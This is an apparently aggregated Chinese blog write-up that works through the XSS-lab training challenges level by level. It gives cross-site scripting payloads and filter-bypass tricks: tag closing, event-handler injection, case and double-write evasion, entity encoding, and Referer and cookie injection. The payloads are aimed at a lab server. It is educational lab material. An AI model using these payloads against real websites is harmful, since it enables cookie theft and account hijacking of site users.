解析…","url":"https://juhe.plus/discover/feeds/18994/url/zh/b28afccf9bd18d0b28f7bf51ec4ed426.html","mainEntityOfPage":{"@type":"WebPage","@id":"https://juhe.plus/discover/feeds/18994/url/zh/b28afccf9bd18d0b28f7bf51ec4ed426.html"},"image":"https://min168.top/assets/img/image-20240913161106-8os9zxw.a7b68e6e.png","publisher":{"@type":"Organization","name":"惯性聚合","logo":{"@type":"ImageObject","url":"/uploads/original/logo/87/38/873876a0600d39b27befc50d1231ce61.png"}},"author":{"@type":"Person","name":"卷卷"},"datePublished":"2023-02-15T00:00:00.000Z","dateModified":"2026-07-25T17:21:31.000Z"}]}
惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
博客园_首页
IT之家
IT之家
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Vercel News
Vercel News
美团技术团队
D
Docker
WordPress大学
WordPress大学
T
Tailwind CSS Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
The Cloudflare Blog
Y
Y Combinator Blog
F
Fortinet All Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
G
Google Developers Blog
爱范儿
爱范儿
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
月光博客
月光博客
MongoDB | Blog
MongoDB | Blog
S
SegmentFault 最新的问题
GbyAI
GbyAI
Hugging Face - Blog
Hugging Face - Blog
Microsoft Azure Blog
Microsoft Azure Blog
A
About on SuperTechFans

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析
XSS-lab
卷卷 · 2023-02-15 · via 卷卷

XSS-lab实验

level1

payload:

47.113.187.190:50974/level1.php?name=111</h2><script>alert(document.cookie)</script>

解析:观察URL发现是GET传参并写入H2里,所以闭合H2标签写js就可。

level2

观察发现值在value

image

payload:

111"onclick='javascript:alert(document.cookie)'

解析:点击输入框后触发事件

level3

查看值在value

image

输入的>被实体化

image

payload:

' onfocus=javascript:alert() '

image

level4

111"> 输入发现>被过滤。但是闭合了

image

payload: 点击后被触发。

111" onclick='javascript:alert()'

level5

直接输入上方payload

111" onclick='javascript:alert()'

on被过滤

image

"> 标签闭合了

image

"><script>alert()</script>

script又被过滤了

image

payload:

"><a href=JavaScript:alert()>点我</a>

level6

"><a href=JavaScript:alert()>点我</a>

然后href也被过滤了

image

payload: 虽然过滤很多 但是大小写没过滤。

"><a hRef=JavaScript:alert()>点我</a>

level7

经过前面过滤 ">href script on ​ 总结使用这个测试,结果全被过滤了.

image

payload:"><scrscriptipt>alert()</scrscriptipt>   那就使用双写呗

payload:"><a hrhrefef="javascrscriptipt:alert('XSS')">111</a>

image

level8

''' href script 被过滤,大写也不行

image

利用href自动Unicode解码

payload:javascript:alert()      unicode编码后

\&\#106;\&\#97;\&\#118;\&\#97;\&\#115;\&\#99;\&\#114;\&\#105;\&\#112;\&\#116;\&\#58;\&\#97;\&\#108;\&\#101;\&\#114;\&\#116;\&\#40;\&\#41;

image

level9

输入发现被URL编码

image

http://www.runoob.com/ 输入一个合法链接呢,好像可以跳转。考虑是检测到http://才可以

image

1.会对特殊字符过滤,需要编码。

2.需要加入http://

3.js代码能执行

4.value先经过URL-->后端校验-->写入href

5.后端校验时不能有特殊被过滤字符(要编码),要有http://(不能被编码)

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;http://

image

http://检测到了,但也被当作了js,导致js语法不对。

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

image

level10

打开没有发现注入点,有三个被隐藏的输入框,但是不知道URL里的参数名,只有input里的name,那后端名称可能和name一样,一个个试试。

image

输入到第三个发现1出现在了value里。

image

?t_sort=1“> On hRef SCRipt 输入前面内容,>被过滤,不能使用标签闭合,大写转小写,但未被过滤。

image

47.113.187.190:50974/level10.php?t_sort=" onfocus=javascript:alert() type="display"

将input框display,点击。

image

level11

http://47.113.187.190:50974/level11.php?t_link=1&t_history=1&t_sort=" onfocus=javascript:alert() type="display"&t_ref=1

使用10中的方法来做,发现被html编码了,所以这里搞不了。所以考虑referer

image

image

注入成功,但是,<>被过滤啦。

image

换个写法

payload:

Referer:" onfocus="javascript:alert()" type="text" "

image

看代码,注入成功。

image

点击输入框执行。

image

level12

这关就和上一关差不多了,所以直接上代码。

payload:

" onfocus="javascript:alert()" type="text" "

image

image

level13

cookie,直接修改存储

payload:

" onfocus="javascript:alert()" type="text" "

image

image

level16

首先,传参,发现是在center标签里放数据。

image

http://47.113.187.190:50974/level16.php?keyword=</center>On SCript hREf DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt>

使用该payload测试一下,有哪些过滤。

image

明显发现/、空格、被编码了,script、直接被过滤,有大小写转换。

1、<>没有过滤

2、不能使用scrtpt、空格要编码

payload:?keyword\=\<img%0dsrc\=1%0donerror\=alert(1)\>

payload:http://47.113.187.190:50974/level16.php?keyword=<svg onload=alert(1)>

image

level17

有一个插件

image

payload:

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

image

script被过滤、大写转小写、<>被html编码、而鼠标事件、键盘事件没有限制。

payload:

?arg01\=a&arg02\=666 onmousemove\='alert(1)'

image

level18

和17一样的

image